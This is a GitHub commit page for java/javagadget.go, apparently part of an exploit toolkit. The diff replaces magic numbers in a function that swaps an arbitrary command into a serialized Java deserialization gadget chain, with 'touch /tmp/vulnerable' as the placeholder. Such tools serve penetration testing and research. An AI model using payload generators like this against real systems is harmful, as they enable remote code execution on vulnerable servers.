Skip to content

Commit e7cf429

Browse files
committed
Don't use magic numbers
1 parent c00d8b5 commit e7cf429

File tree

1 file changed

+5
-1
lines changed

1 file changed

+5
-1
lines changed

java/javagadget.go

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -466,7 +466,11 @@ func JacksonGenericCommand(cmd string) (string, error) {
466466

467467
gadget := string(gadgetBytes)
468468
gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd)
469-
gadget = strings.ReplaceAll(gadget, "\x00\x00\x06\x54", transform.PackBigInt32(1599+len(cmd))) // Array size
469+
const (
470+
arraySizeWithCommand = "\x00\x00\x06\x54" // 1620
471+
arraySizeWithoutCommand = 1599
472+
)
473+
gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd)))
470474

471475
return gadget, nil
472476
}

0 commit comments

Comments
 (0)